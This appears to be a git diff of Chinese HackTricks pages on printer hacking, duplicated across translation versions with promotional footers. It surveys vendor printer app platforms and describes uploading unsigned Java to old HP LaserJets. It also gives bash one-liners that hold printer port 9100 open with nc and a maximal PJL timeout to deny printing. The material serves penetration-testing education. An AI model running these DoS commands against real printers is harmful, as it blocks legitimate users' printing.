||||
|
||||
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
近年来,打印机供应商开始引入**在其设备上安装自定义软件的可能性**。这种“打印机应用程序”的格式是专有的,SDK不对公众开放。编写在打印机上运行的定制软件的功能是为经销商和承包商而设计的,而不是为最终用户设计的。通过这种方式,打印机群可以根据公司的特殊需求和业务流程进行调整;文档解决方案提供商可以轻松将打印机集成到其管理软件中。一个常见的例子是NSi AutoStore [\[1\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-1),它可以安装在许多多功能一体机上,并自动将扫描或复制的文档上传到预定义的位置。显然,在打印机设备上运行自定义代码是一个潜在的安全威胁。此外,与[固件](http://hacking-printers.net/wiki/index.php/Firmware_updates)相比,软件包的代码签名可能更加困难,因为软件不仅由打印机制造商编写,还由更广泛的开发人员编写,这些开发人员需要拥有签署其软件的秘密密钥。因此,将秘密密钥包含在SDK中是合乎逻辑的,这些SDK通过仅从开发者平台提供独占访问权限来保护。本文旨在系统地收集有关供应商特定软件平台/SDK的信息。
|
||||
近年来,打印机供应商开始引入**在其设备上安装自定义软件的可能性**。这种“打印机应用”的格式是专有的,SDK对公众不开放。编写在打印机上运行的自定义软件的功能是有意为之,并且是为经销商和承包商保留的,而不是为最终用户准备的。因此,可以根据公司的特殊需求和业务流程调整打印机群;文档解决方案提供商可以轻松将打印机集成到他们的管理软件中。一个流行的例子是NSi AutoStore [\[1\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-1),它可以安装在许多MFP上,并自动将扫描或复制的文档上传到预定义的位置。显然,在打印机设备上运行自定义代码的功能是潜在的安全威胁。此外,与[固件](http://hacking-printers.net/wiki/index.php/Firmware_updates)相比,软件包的代码签名可能更难,因为软件不仅由打印机制造商编写,还由需要拥有秘密密钥以签署其软件的更广泛的开发者编写。因此,将秘密密钥包含在仅通过开发者平台独家提供的SDK中是合乎逻辑的。本文是系统收集有关特定于供应商的软件平台/SDK信息的努力。
|
||||
|
||||
# 供应商
|
||||
|
||||
以下是主要打印机供应商提供的扩展其设备功能的软件平台的大致概述。
|
||||
以下是主要打印机供应商提供的软件平台的大致概述,这些平台用于扩展其设备的功能。
|
||||
|
||||
## HP(Chai/OXP)
|
||||
## HP \(Chai/OXP\)
|
||||
|
||||
HP于1999年推出了他们的“Chai Appliance Platform”平台,用于在LaserJet打印机上运行Java应用程序。虽然最初向公众开放了一个SDK [\[2\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-2),但后来访问权限被限制为HP开发者网络的成员。Chai servlet以`.jar`文件的形式提供,最初需要由HP进行认证和签名,然后才能被打印机设备接受。[\[3\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-phenoelit2002embedded-3)在部署过程中发现了一个缺陷:通过安装HP提供的另一种已经签名的替代加载程序软件EZloader,他们能够上传和运行自己的未签名的Java软件包。看起来,HP在后来的Chai版本中完全放弃了代码签名:[\[4\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-mueller2016printers-4)能够编写并执行一个监听端口9100并将传入的文档上传到FTP服务器后打印的概念验证打印机恶意软件。他们的代码基于[\[5\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-5),后者扩展了设备以支持负载均衡,并在演示中包含了所需的SDK文件和专有Java库。使用这些库,可以通过将`.jar`文件上传到“隐藏”的URL:[`http://printer/hp/device/this.loader`](http://printer/hp/device/this.loader)在旧版HP LaserJets上编译和执行任意Java代码。如果嵌入式Web服务器尚未设置密码,则可以执行此攻击。否则,必须首先通过PostScript从`/dev/rdsk_jdi_cfg0`检索密码(参见[文件系统访问](http://hacking-printers.net/wiki/index.php/File_system_access))或通过将设备重置为[出厂默认设置](http://hacking-printers.net/wiki/index.php/Factory_defaults)来绕过密码。如果受害者当前已登录到打印机的嵌入式Web服务器,则Web攻击者可以使用[CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery)上传`.jar`文件。对于较新的设备,HP使用基于Web服务的“Open Extensibility Platform” \([OXP](https://developers.hp.com/oxp/)\)代替Chai,但没有公开可用的SDK。
|
||||
HP在1999年推出了他们的‘Chai Appliance Platform’平台,用于在LaserJet打印机上运行Java应用程序。虽然一开始SDK对公众开放 [\[2\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-2),但后来访问权限被限制为HP开发者网络的成员。Chai servlets以`.jar`文件形式出现,最初需要经过HP认证和签名,才会被打印机设备接受。[\[3\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-phenoelit2002embedded-3) 发现了部署过程中的一个漏洞:通过安装EZloader——一种由HP提供且已经签名的替代加载软件——他们能够上传并运行自己的未签名Java包。看来,对于后来的Chai版本,HP完全放弃了代码签名:[\[4\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-mueller2016printers-4) 能够编写并执行一个概念验证型打印机恶意软件,该恶意软件监听9100端口,并在打印它们之前将传入的文档上传到FTP服务器。他们的代码基于[\[5\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-5),他们扩展了设备以支持负载平衡,并在他们的演示中包含了所需的SDK文件和专有Java库。有了这些库,可以在旧的HP LaserJets上通过上传`.jar`文件到一个‘隐藏’的URL:[`http://printer/hp/device/this.loader`](http://printer/hp/device/this.loader) 来编译和执行任意Java代码。如果嵌入式Web服务器尚未设置密码,则可以执行此攻击。否则,必须首先从`/dev/rdsk_jdi_cfg0`使用PostScript检索密码(请参阅[文件系统访问](http://hacking-printers.net/wiki/index.php/File_system_access))或通过将设备重置为[出厂默认设置](http://hacking-printers.net/wiki/index.php/Factory_defaults)来绕过。如果受害者当前登录到打印机的嵌入式Web服务器,Web攻击者可以使用[CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery)上传`.jar`文件。对于较新的设备,HP使用基于Web服务的‘Open Extensibility Platform’([OXP](https://developers.hp.com/oxp/))代替Chai,没有公开可用的SDK。
|
||||
|
||||
## Canon(MEAP)
|
||||
## Canon \(MEAP\)
|
||||
|
||||
‘多功能嵌入式应用平台’([MEAP](http://www.developersupport.canon.com/faq/335#t335n18))是Canon在2003年为其imageRunner系列引入的基于Java的软件平台,并在2010年扩展到Web服务。第三方开发者可以支付$5,000的费用获得MEAP [SDK](http://developersupport.canon.com/content/meap-sdk-0),这显然超出了研究目的的范围。
|
||||
|
||||
“多功能嵌入式应用平台” \([MEAP](http://www.developersupport.canon.com/faq/335#t335n18)\)是佳能于2003年推出的基于Java的软件平台,用于其imageRunner系列,并于2010年扩展到Web服务。第三方开发人员可以以5000美元的费用获得MEAP [SDK](http://developersupport.canon.com/content/meap-sdk-0),这显然超出了研究目的的范围。
|
||||
## Xerox/Dell \(EIP\)
|
||||
|
||||
‘可扩展接口平台’([EIP](http://www.office.xerox.com/eip/enus.html))[\[6\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-6)是由Xerox于2006年为各种多功能打印机推出的。这种架构也被一些改装的Dell设备支持,基于Web服务技术。[SDK](http://www.office.xerox.com/eip/enus.html)可供注册开发人员免费使用。
|
||||
‘可扩展接口平台’([EIP](http://www.office.xerox.com/eip/enus.html))[\[6\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-6) 在2006年由Xerox为各种MFP宣传。该架构——也得到了一些重新标记的Dell设备的支持——基于Web服务技术。[SDK](http://www.office.xerox.com/eip/enus.html) 对注册开发者免费开放。
|
||||
|
||||
## Brother \(BSI\)
|
||||
|
||||
‘Brother解决方案接口’([BSI](https://www.brother-usa.com/lp/civ/bsi.aspx))是一种基于XML的Web架构,于2012年推出,用于扫描仪、复印机和打印机。许可开发人员可以访问[SDK](https://www.brother-usa.com/lp/civ/home.aspx)。
|
||||
‘Brother解决方案接口’([BSI](https://www.brother-usa.com/lp/civ/bsi.aspx))是一个基于XML的Web架构,于2012年为扫描仪、复印机和打印机推出。[SDK](https://www.brother-usa.com/lp/civ/home.aspx) 对持有许可的开发者开放。
|
||||
|
||||
## Lexmark \(eSF\)
|
||||
|
||||
‘嵌入式解决方案框架’([eSF](http://www.lexmark-emea.com/usa/BSD_solution_catalouge.pdf))于2006年为Lexmark多功能打印机推出。用于开发Java应用程序的SDK仅对‘特别合格的合作伙伴’开放。根据[\[7\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-7),‘这些应用程序在采用之前必须由Lexmark进行数字签名’,使用2048位RSA签名。
|
||||
‘嵌入式解决方案框架’([eSF](http://www.lexmark-emea.com/usa/BSD_solution_catalouge.pdf))于2006年为Lexmark MFP推出。开发Java应用程序的SDK仅保留给‘特别合格的合作伙伴’。根据[\[7\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-7) ‘这些应用程序必须在被采用之前由Lexmark数字签名’,使用2048位RSA签名。
|
||||
|
||||
## Samsung \(XOA\)
|
||||
|
||||
‘可扩展开放架构’([XOA](http://samsungprintingsolutions.com/2015/02/can-samsungs-extensible-open-architecture-xoa/))由三星于2008年推出,有两种版本:基于Java的XOA-E虚拟机和基于Web服务的XOA-Web。[SDK](http://xoapartnerportal.com/)仅对三星经销商开放。
|
||||
‘可扩展开放架构’([XOA](http://samsungprintingsolutions.com/2015/02/can-samsungs-extensible-open-architecture-xoa/))由Samsung在2008年引入,有两种形式:XOA-E Java虚拟机和基于Web服务的XOA-Web。[SDK](http://xoapartnerportal.com/) 仅对Samsung经销商开放。
|
||||
|
||||
## Ricoh \(ESA\)
|
||||
|
||||
‘嵌入式软件架构’([ESA](https://www.ricoh.com/esa/))[\[8\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-8)由理光于2004年推出。基于Java的[SDK/J](http://www.ricoh-developer.com/content/device-sdk-type-j-sdkj-overview)可供开发人员在注册后使用。
|
||||
‘嵌入式软件架构’([ESA](https://www.ricoh.com/esa/))[\[8\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-8) 于2004年由Ricoh推出。基于Java的[SDK/J](http://www.ricoh-developer.com/content/device-sdk-type-j-sdkj-overview) 在注册后对开发者开放。
|
||||
|
||||
## Kyocera/Utax \(HyPAS\)
|
||||
|
||||
‘高级解决方案混合平台’([HyPAS](http://usa.kyoceradocumentsolutions.com/americas/jsp/Kyocera/hypas_overview.jsp))[\[9\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-9)由京瓷于2008年发布。应用程序基于Java或Web服务。[SDK](https://www.kyoceradocumentsolutions.eu/index/document_solutions/HyPAS/hypas_developer_partner.html)仅对‘HyPAS开发合作伙伴计划’的成员开放,并且应用程序必须经过京瓷的批准。
|
||||
‘高级解决方案混合平台’([HyPAS](http://usa.kyoceradocumentsolutions.com/americas/jsp/Kyocera/hypas_overview.jsp))[\[9\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-9) 由Kyocera在2008年发布。应用程序基于Java或Web服务。[SDK](https://www.kyoceradocumentsolutions.eu/index/document_solutions/HyPAS/hypas_developer_partner.html) 仅对‘HyPAS开发合作伙伴计划’的成员开放,应用程序必须得到Kyocera的批准。
|
||||
|
||||
## Konica Minolta \(bEST\)
|
||||
|
||||
‘bizhub扩展解决方案技术’([bEST](https://best.kmbs.us/))[\[10\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-10)基于Web服务,由柯尼卡美能达于2009年推出。访问[SDK](https://best.kmbs.us/pages/levels.php)需要支付4000美元的‘白金会员级别’开发人员计划费用,这对独立研究人员来说超出了范围。
|
||||
‘bizhub扩展解决方案技术’([bEST](https://best.kmbs.us/))[\[10\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-10) 基于Web服务,由Konica Minolta在2009年引入。访问[SDK](https://best.kmbs.us/pages/levels.php) 需要在开发者计划中达到‘白金会员级别’,费用为$4,000,这超出了独立研究者的范围。
|
||||
|
||||
## Toshiba \(e-BRIDGE\)
|
||||
|
||||
‘e-BRIDGE开放平台’([e-BRIDGE](http://www.estudio.com.sg/solutions_ebridge.aspx))于2008年由东芝发布,用于定制基于Web服务技术的高端多功能打印机。一般公众无法获得SDK。
|
||||
‘e-BRIDGE开放平台’([e-BRIDGE](http://www.estudio.com.sg/solutions_ebridge.aspx))由Toshiba在2008年发布,用于定制基于Web服务技术的高端MFP。SDK对公众不开放。
|
||||
|
||||
## Sharp \(OSA\)
|
||||
|
||||
‘开放系统架构’([OSA](http://siica.sharpusa.com/Document-Systems/Sharp-OSA))[\[11\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-11)由夏普于2004年推出。用于开发Web服务的[SDK](http://sharp-partners.com/us/PartnerPrograms/DeveloperProgram/tabid/722/Default.aspx)需要付费,并且应用程序在安装到多功能打印机之前需要经过夏普的验证。
|
||||
‘开放系统架构’([OSA](http://siica.sharpusa.com/Document-Systems/Sharp-OSA))[\[11\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-11) 由Sharp在2004年宣传。用于开发Web服务的[SDK](http://sharp-partners.com/us/PartnerPrograms/DeveloperProgram/tabid/722/Default.aspx) 是基于费用的,应用程序需要通过Sharp的验证才能安装在MFP上。
|
||||
|
||||
## Oki \(sXP\)
|
||||
|
||||
‘智能可扩展平台’([sXP](http://www.oki.com/en/press/2014/09/z14053e.html))[\[12\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-12)基于Web服务,由Oki Data于2013年为其多功能打印机设备推出。Oki不公开任何关于官方开发人员计划或公开可用的SDK的信息。
|
||||
‘智能可扩展平台’([sXP](http://www.oki.com/en/press/2014/09/z14053e.html))[\[12\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-12) 基于Web服务,由Oki Data在2013年为其MFP设备推出。Oki没有发布任何关于官方开发者计划或公开可用SDK的信息。
|
||||
|
||||
# 结果
|
||||
|
||||
在旧款HP激光打印机上,可以执行任意Java字节码,如[\[3\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-phenoelit2002embedded-3)和[\[4\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-mueller2016printers-4)所示。安全性基于嵌入式Web服务器的密码,可以通过PostScript轻松获取或通过恢复出厂默认设置绕过。由于无法访问SDK和/或适当的技术文档,很难对其他软件平台的安全性做出明智的评估。下表列出了各个平台、应用技术以及已知的软件包部署程序的比较:
|
||||
在较旧的HP激光打印机上,可以执行任意Java字节码,如[\[3\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-phenoelit2002embedded-3) 和 [\[4\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-mueller2016printers-4) 所示。安全性基于嵌入式Web服务器的密码,可以使用PostScript轻松检索或通过恢复出厂默认设置绕过。由于缺乏对SDK的访问和/或适当的技术文档,很难对其他软件平台的安全性做出合理的陈述。下面给出了平台、应用技术和——已知的——软件包部署程序的比较:
|
||||
|
||||
| 厂商 | 平台 | 嵌入式Java | Web服务 | 部署 |
|
||||
| 供应商 | 平台 | 嵌入式Java | Web服务 | 部署 |
|
||||
| :--- | :--- | :--- | :--- | :--- |
|
||||
| HP | Chai/OXP | ✔ | ✔ | Web服务器 |
|
||||
| Xerox/Dell | EIP | | ✔ | 未知 |
|
||||
|
@ -86,28 +85,27 @@ HP于1999年推出了他们的“Chai Appliance Platform”平台,用于在Las
|
|||
| Toshiba | e-Bridge | | ✔ | 未知 |
|
||||
| Sharp | OSA | | ✔ | 未知 |
|
||||
| Oki | sXP | | ✔ | 未知 |
|
||||
|
||||
## **如何测试这种攻击?**
|
||||
|
||||
获取一个SDK并编写自己的概念验证应用程序,或者找到一个已经实现你想要的功能的“打印机应用程序”(例如,自动将扫描的文档上传到FTP)。还要检查设备上存在哪些保护机制来安装自定义软件。
|
||||
获取SDK并编写您自己的概念验证应用程序,或找到一个已经做了您想要的事情的“打印机应用”(例如,自动将扫描文档上传到FTP)。还要检查安装自定义软件到设备上的保护机制。
|
||||
|
||||
## **谁可以执行这种攻击?**
|
||||
## **谁能执行这种攻击?**
|
||||
|
||||
取决于软件包的部署方式。
|
||||
取决于软件包是如何部署的。
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
如果打印作业按顺序处理 - 这是大多数设备的假设 - 一次只能处理一个作业。如果此作业未能有效终止打印通道,则会阻塞通道直到触发超时,从而阻止合法用户进行打印。
|
||||
如果打印作业是串行处理的——这是大多数设备的假设——一次只能处理一个作业。如果这个作业没有有效地终止打印通道,就会被阻塞直到触发超时,阻止合法用户打印。
|
||||
|
||||
基本的DoS攻击:
|
||||
基本DoS:
|
||||
```bash
|
||||
while true; do nc printer 9100; done
|
||||
```
|
||||
这种微不足道的拒绝服务攻击可以通过**使用PJL设置较高的超时值**来改进,这样攻击者需要建立的连接数量就会减少,而合法用户要获得一个空闲时间段则更加困难:
|
||||
这种简单的拒绝服务攻击可以通过**使用PJL设置高超时值**来改进,这样攻击者需要建立的连接数就减少了,而合法用户要获得空闲时间槽则更加困难:
|
||||
```bash
|
||||
# get maximum timeout value with PJL
|
||||
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
|
||||
|
@ -29,7 +27,7 @@ grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
|
|||
# connect and set maximum timeout for current job with PJL
|
||||
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done
|
||||
```
|
||||
您可以使用[PRET](https://github.com/RUB-NDS/PRET)来查找超时设置:
|
||||
你可以使用 [PRET](https://github.com/RUB-NDS/PRET) 来查找超时设置:
|
||||
```bash
|
||||
./pret.py -q printer pjl
|
||||
Connection to printer established
|
||||
|
@ -40,23 +38,24 @@ TIMEOUT=15 [2 RANGE]
|
|||
5
|
||||
300
|
||||
```
|
||||
虽然PJL参考规定了最大超时时间为300秒,但实际上最大的PJL超时时间可能在15到2147483秒之间。请注意,只要连接保持打开状态,甚至从其他打印通道(如IPP或LPD)接收的打印作业也不再被处理。
|
||||
```markdown
|
||||
虽然PJL参考规定了最大超时时间为300秒,但实际上最大PJL超时时间可能从15秒到2147483秒不等。
|
||||
请注意,只要连接保持开放,即使是从其他打印通道(如IPP或LPD)接收的打印作业也不再被处理。
|
||||
|
||||
**了解更多关于这种攻击的信息,请访问** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission\_channel)
|
||||
**了解更多关于此攻击的信息** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission\_channel)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,64 +1,62 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
